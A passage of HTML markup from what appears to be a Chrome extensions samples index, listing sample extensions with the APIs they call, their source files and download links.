<a href="javascript:void(0);" onclick="setFilter('chrome.i18n', this)">chrome.i18n</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.idle', this)">chrome.idle</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.input.ime', this)">chrome.input.ime</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.management', this)">chrome.management</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.omnibox', this)">chrome.omnibox</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.pageAction', this)">chrome.pageAction</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.pageCapture', this)">chrome.pageCapture</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.permissions', this)">chrome.permissions</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.privacy', this)">chrome.privacy</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.proxy', this)">chrome.proxy</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.runtime', this)">chrome.runtime</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.scriptBadge', this)">chrome.scriptBadge</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.storage', this)">chrome.storage</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.tabs', this)">chrome.tabs</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.topSites', this)">chrome.topSites</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.tts', this)">chrome.tts</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.ttsEngine', this)">chrome.ttsEngine</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.types', this)">chrome.types</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.webNavigation', this)">chrome.webNavigation</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.webRequest', this)">chrome.webRequest</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.webstore', this)">chrome.webstore</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.windows', this)">chrome.windows</a>
</span>
</span>
</div>
</div>
<div class="sample" id="0262260daf0c8f7b28feff2ef23b05e7abf9d1e0">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#0262260daf0c8f7b28feff2ef23b05e7abf9d1e0">A browser action which changes its icon when clicked.</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>browser_action</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p></p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="browserAction.html#event-onClicked">chrome.browserAction.onClicked</a></code>
</li><li>
<code><a href="browserAction.html#method-setIcon">chrome.browserAction.setIcon</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/browserAction/set_icon_path/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/browserAction/set_icon_path/manifest.json">manifest.json</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/browserAction/set_icon_path.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="ea2894c41cb8e80a4433a3e6c5772dadce9be90d">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#ea2894c41cb8e80a4433a3e6c5772dadce9be90d">A browser action with a popup that changes the page color.</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>browser_action</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p></p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="tabs.html#method-executeScript">chrome.tabs.executeScript</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/browserAction/set_page_color/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/browserAction/set_page_color/popup.html">popup.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/browserAction/set_page_color/popup.js">popup.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/browserAction/set_page_color.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="ede3c47b7757245be42ec33fd5ca63df4b490066">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#ede3c47b7757245be42ec33fd5ca63df4b490066">A browser action with no icon that makes the page red</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>browser_action</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p></p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="browserAction.html#event-onClicked">chrome.browserAction.onClicked</a></code>
</li><li>
<code><a href="browserAction.html#method-setBadgeBackgroundColor">chrome.browserAction.setBadgeBackgroundColor</a></code>
</li><li>
<code><a href="browserAction.html#method-setBadgeText">chrome.browserAction.setBadgeText</a></code>
</li><li>
<code><a href="tabs.html#method-executeScript">chrome.tabs.executeScript</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/browserAction/make_page_red/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/browserAction/make_page_red/manifest.json">manifest.json</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/browserAction/make_page_red.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="fbf0aa1a09a15ff8cc4fc7de4fd176d6c663d07a">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#fbf0aa1a09a15ff8cc4fc7de4fd176d6c663d07a">AcceptLanguage</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>browser_action</strong>
</span>
</p>
<p>Returns accept languages of the browser</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="i18n.html#method-getAcceptLanguages">chrome.i18n.getAcceptLanguages</a></code>
</li><li>
<code><a href="i18n.html#method-getMessage">chrome.i18n.getMessage</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/i18n/getMessage/_locales/en_US/messages.json">_locales/en_US/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/i18n/getMessage/_locales/es/messages.json">_locales/es/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/i18n/getMessage/_locales/sr/messages.json">_locales/sr/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/i18n/getMessage/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/i18n/getMessage/popup.html">popup.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/i18n/getMessage/popup.js">popup.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/i18n/getMessage.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="9a6e4ec46997fb92b324974afa08a3d007e2537f">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#9a6e4ec46997fb92b324974afa08a3d007e2537f">Animated Page Action</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>page_action</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>This extension adds an animated browser action to the toolbar.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="pageAction.html#method-hide">chrome.pageAction.hide</a></code>
</li><li>
<code><a href="pageAction.html#event-onClicked">chrome.pageAction.onClicked</a></code>
</li><li>
<code><a href="pageAction.html#method-setIcon">chrome.pageAction.setIcon</a></code>
</li><li>
<code><a href="pageAction.html#method-setTitle">chrome.pageAction.setTitle</a></code>
</li><li>
<code><a href="pageAction.html#method-show">chrome.pageAction.show</a></code>
</li><li>
<code><a href="tabs.html#method-get">chrome.tabs.get</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/pageAction/set_icon/background.html">background.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/pageAction/set_icon/manifest.json">manifest.json</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/pageAction/set_icon.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="a1f7cf79dd555b04fa8d603247a040e644996293">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#a1f7cf79dd555b04fa8d603247a040e644996293">App Launcher</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>browser_action</strong>
<span> and</span>
</span><span>
<strong>management</strong>
</span>
</p>
<p></p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="extension.html#method-getURL">chrome.extension.getURL</a></code>
</li><li>
<code><a href="management.html#method-get">chrome.management.get</a></code>
</li><li>
<code><a href="management.html#method-getAll">chrome.management.getAll</a></code>
</li><li>
<code><a href="management.html#method-launchApp">chrome.management.launchApp</a></code>
</li><li>
<code><a href="tabs.html#method-create">chrome.tabs.create</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/extensions/app_launcher/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/app_launcher/popup.css">popup.css</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/app_launcher/popup.html">popup.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/app_launcher/popup.js">popup.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/extensions/app_launcher.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="9747e3d6a3eab39bc7c17f11a80573c62d44c7e5">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#9747e3d6a3eab39bc7c17f11a80573c62d44c7e5">Blank new tab page</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>chrome_url_overrides</strong>
</span>
</p>
<p></p>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/override/blank_ntp/blank.html">blank.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/override/blank_ntp/manifest.json">manifest.json</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/override/blank_ntp.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="0bf0930a32829dfb77170535ecb27adc2de3998a">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#0bf0930a32829dfb77170535ecb27adc2de3998a">Block/allow referrer API example extension</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>browser_action</strong>
<span> and</span>
</span><span>
<strong>privacy</strong>
</span>
</p>
<p>Sample extension which demonstrates how to access a preference.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="extension.html#method-isAllowedIncognitoAccess">chrome.extension.isAllowedIncognitoAccess</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/preferences/enableReferrer/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/preferences/enableReferrer/popup.css">popup.css</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/preferences/enableReferrer/popup.html">popup.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/preferences/enableReferrer/popup.js">popup.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/preferences/enableReferrer.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="7da105f28e200d42510aff3591dfa5aeb0b82605">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#7da105f28e200d42510aff3591dfa5aeb0b82605">Block/allow third-party cookies API example extension</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>browser_action</strong>
<span> and</span>
</span><span>
<strong>privacy</strong>
</span>
</p>
<p>Sample extension which demonstrates how to access a preference.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="extension.html#method-isAllowedIncognitoAccess">chrome.extension.isAllowedIncognitoAccess</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/preferences/allowThirdPartyCookies/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/preferences/allowThirdPartyCookies/popup.css">popup.css</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/preferences/allowThirdPartyCookies/popup.html">popup.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/preferences/allowThirdPartyCookies/popup.js">popup.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/preferences/allowThirdPartyCookies.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="9004d1a1b975859d07bdff94ea0a4baa106c4fd1">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#9004d1a1b975859d07bdff94ea0a4baa106c4fd1">Broken Links</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>devtools_page</strong><span>, </span>
</span><span>
<strong>experimental</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Extends the Developer Tools, adding an audit category that finds broken links on the inspected page.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="experimental.devtools.audits.html#method-addCategory">chrome.experimental.devtools.audits.addCategory</a></code>
</li><li>
<code><a href="tabs.html#method-executeScript">chrome.tabs.executeScript</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/devtools/audits/broken-links/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/devtools/audits/broken-links/content.js">content.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/devtools/audits/broken-links/devtools.html">devtools.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/devtools/audits/broken-links/devtools.js">devtools.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/devtools/audits/broken-links/manifest.json">manifest.json</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/devtools/audits/broken-links.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="e7e4284e3b5484b0c1eae7f724768945ad0121e4">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#e7e4284e3b5484b0c1eae7f724768945ad0121e4">BrowsingData API: Basics</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>browser_action</strong><span>, </span>
</span><span>
<strong>browsingData</strong>
<span> and</span>
</span><span>
<strong>popup</strong>
</span>
</p>
<p>A trivial usage example.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="browsingData.html#method-remove">chrome.browsingData.remove</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/browsingData/basic/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/browsingData/basic/popup.css">popup.css</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/browsingData/basic/popup.html">popup.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/browsingData/basic/popup.js">popup.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/browsingData/basic.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="7f4d3fac7ae1ad4d514a15cd0b2c48c57a58c55e">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#7f4d3fac7ae1ad4d514a15cd0b2c48c57a58c55e">CatBlock</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>webRequest</strong>
<span> and</span>
</span><span>
<strong>webRequestBlocking</strong>
</span>
</p>
<p>I can't has cheezburger!</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="webRequest.html#event-onBeforeRequest">chrome.webRequest.onBeforeRequest</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/extensions/catblock/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/catblock/loldogs.js">loldogs.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/catblock/manifest.json">manifest.json</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/extensions/catblock.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="924f75a201bb0ec8d6c0b1c9c88c679ea211c93d">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#924f75a201bb0ec8d6c0b1c9c88c679ea211c93d">Chrome Query</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>devtools_page</strong>
</span>
</p>
<p>Extends the Developer Tools, adding a sidebar that displays the jQuery data associated with the selected DOM element.</p>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/devtools/panels/chrome-query/devtools.html">devtools.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/devtools/panels/chrome-query/devtools.js">devtools.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/devtools/panels/chrome-query/manifest.json">manifest.json</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/devtools/panels/chrome-query.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="903e7277139e1e6caec123d3319cab295d8d1b3a">
<img class="icon" src="../examples/extensions/fx/icon.png">
<h2 class="name">
<a href="#903e7277139e1e6caec123d3319cab295d8d1b3a">Chrome Sounds</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>bookmarks</strong><span>, </span>
</span><span>
<strong>options_page</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Enjoy a more magical and immersive experience when browsing the web using the power of sound.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="bookmarks.html#event-onCreated">chrome.bookmarks.onCreated</a></code>
</li><li>
<code><a href="bookmarks.html#event-onMoved">chrome.bookmarks.onMoved</a></code>
</li><li>
<code><a href="bookmarks.html#event-onRemoved">chrome.bookmarks.onRemoved</a></code>
</li><li>
<code><a href="extension.html#method-getBackgroundPage">chrome.extension.getBackgroundPage</a></code>
</li><li>
<code><a href="tabs.html#method-get">chrome.tabs.get</a></code>
</li><li>
<code><a href="tabs.html#event-onAttached">chrome.tabs.onAttached</a></code>
</li><li>
<code><a href="tabs.html#event-onCreated">chrome.tabs.onCreated</a></code>
</li><li>
<code><a href="tabs.html#event-onDetached">chrome.tabs.onDetached</a></code>
</li><li>
<code><a href="tabs.html#event-onMoved">chrome.tabs.onMoved</a></code>
</li><li>
<code><a href="tabs.html#event-onRemoved">chrome.tabs.onRemoved</a></code>
</li><li>
<code><a href="tabs.html#event-onUpdated">chrome.tabs.onUpdated</a></code>
</li><li>
<code><a href="windows.html#event-onCreated">chrome.windows.onCreated</a></code>
</li><li>
<code><a href="windows.html#event-onFocusChanged">chrome.windows.onFocusChanged</a></code>
</li><li>
<code><a href="windows.html#event-onRemoved">chrome.windows.onRemoved</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/extensions/fx/bg.js">bg.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/fx/content.js">content.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/fx/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/fx/options.html">options.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/fx/options.js">options.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/extensions/fx.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="0e790e035a4a00b6f1def5ef9a7d7be1bce95ab5">
<img class="icon" src="../examples/extensions/buildbot/icon.png">
<h2 class="name">
<a href="#0e790e035a4a00b6f1def5ef9a7d7be1bce95ab5">Chromium Buildbot Monitor</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>browser_action</strong><span>, </span>
</span><span>
<strong>notifications</strong>
<span> and</span>
</span><span>
<strong>options_page</strong>
</span>
</p>
<p>Displays the status of the Chromium buildbot in the toolbar. Click to see more detailed status in a popup.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="browserAction.html#method-setBadgeBackgroundColor">chrome.browserAction.setBadgeBackgroundColor</a></code>
</li><li>
<code><a href="browserAction.html#method-setBadgeText">chrome.browserAction.setBadgeText</a></code>
</li><li>
<code><a href="browserAction.html#method-setTitle">chrome.browserAction.setTitle</a></code>
</li><li>
<code><a href="extension.html#method-getURL">chrome.extension.getURL</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/extensions/buildbot/bg.js">bg.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/buildbot/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/buildbot/options.html">options.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/buildbot/options.js">options.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/buildbot/popup.html">popup.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/buildbot/popup.js">popup.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/extensions/buildbot.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="ac31228200b41a87982e386cc90d3a6eee4ad885">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#ac31228200b41a87982e386cc90d3a6eee4ad885">Chromium Search</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Add support to the omnibox to search the Chromium source code.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="omnibox.html#event-onInputCancelled">chrome.omnibox.onInputCancelled</a></code>
</li><li>
<code><a href="omnibox.html#event-onInputChanged">chrome.omnibox.onInputChanged</a></code>
</li><li>
<code><a href="omnibox.html#event-onInputEntered">chrome.omnibox.onInputEntered</a></code>
</li><li>
<code><a href="omnibox.html#event-onInputStarted">chrome.omnibox.onInputStarted</a></code>
</li><li>
<code><a href="omnibox.html#method-setDefaultSuggestion">chrome.omnibox.setDefaultSuggestion</a></code>
</li><li>
<code><a href="tabs.html#method-get">chrome.tabs.get</a></code>
</li><li>
<code><a href="tabs.html#method-update">chrome.tabs.update</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/extensions/chrome_search/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/chrome_search/manifest.json">manifest.json</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/extensions/chrome_search.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="7d5d6cf195bc25480256618e360aa38c6e6fba82">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#7d5d6cf195bc25480256618e360aa38c6e6fba82">CLD</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>browser_action</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Displays the language of a tab</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="browserAction.html#method-setBadgeText">chrome.browserAction.setBadgeText</a></code>
</li><li>
<code><a href="tabs.html#method-detectLanguage">chrome.tabs.detectLanguage</a></code>
</li><li>
<code><a href="tabs.html#method-get">chrome.tabs.get</a></code>
</li><li>
<code><a href="tabs.html#event-onUpdated">chrome.tabs.onUpdated</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/i18n/cld/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/i18n/cld/manifest.json">manifest.json</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/i18n/cld.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="1a146c028f79982bdc28497ab263dd2f263aa735">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#1a146c028f79982bdc28497ab263dd2f263aa735">Console TTS Engine</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>tabs</strong>
<span> and</span>
</span><span>
<strong>ttsEngine</strong>
</span>
</p>
<p>A "silent" TTS engine that prints text to a small window rather than synthesizing speech.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="extension.html#method-getViews">chrome.extension.getViews</a></code>
</li><li>
<code><a href="ttsEngine.html#event-onSpeak">chrome.ttsEngine.onSpeak</a></code>
</li><li>
<code><a href="ttsEngine.html#event-onStop">chrome.ttsEngine.onStop</a></code>
</li><li>
<code><a href="windows.html#method-create">chrome.windows.create</a></code>
</li><li>
<code><a href="windows.html#method-get">chrome.windows.get</a></code>
</li><li>
<code><a href="windows.html#method-getCurrent">chrome.windows.getCurrent</a></code>
</li><li>
<code><a href="windows.html#event-onRemoved">chrome.windows.onRemoved</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/ttsEngine/console_tts_engine/console_tts_engine.html">console_tts_engine.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/ttsEngine/console_tts_engine/console_tts_engine.js">console_tts_engine.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/ttsEngine/console_tts_engine/manifest.json">manifest.json</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/ttsEngine/console_tts_engine.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="6871d09f4a96bf9d4b6cc724d00e909cee0f3902">
<img class="icon" src="../examples/howto/contentscript_xhr/sample-128.png">
<h2 class="name">
<a href="#6871d09f4a96bf9d4b6cc724d00e909cee0f3902">Content Script Cross-Domain XMLHttpRequest Example</a>
</h2>
<p>Demonstrates making cross domain requests from a content script by putting Twitter trends on Google News.</p>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/howto/contentscript_xhr/contentscript.js">contentscript.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/howto/contentscript_xhr/manifest.json">manifest.json</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/howto/contentscript_xhr.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="e1f97e61e28ff33131d66dd28a4ed70a77874a51">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#e1f97e61e28ff33131d66dd28a4ed70a77874a51">Content settings</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>browser_action</strong><span>, </span>
</span><span>
<strong>contentSettings</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Shows the content settings for the current site.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="tabs.html#method-get">chrome.tabs.get</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/contentSettings/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/contentSettings/popup.html">popup.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/contentSettings/popup.js">popup.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/contentSettings.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="5d81304a17cf7ac2887484f730fbd2b01e51e166">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#5d81304a17cf7ac2887484f730fbd2b01e51e166">Context Menus Sample</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong>
<span> and</span>
</span><span>
<strong>contextMenus</strong>
</span>
</p>
<p>Shows some of the features of the Context Menus API</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="contextMenus.html#method-create">chrome.contextMenus.create</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/contextMenus/basic/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/contextMenus/basic/sample.js">sample.js</a></code>
</li>
</ul>
</div>
<div>
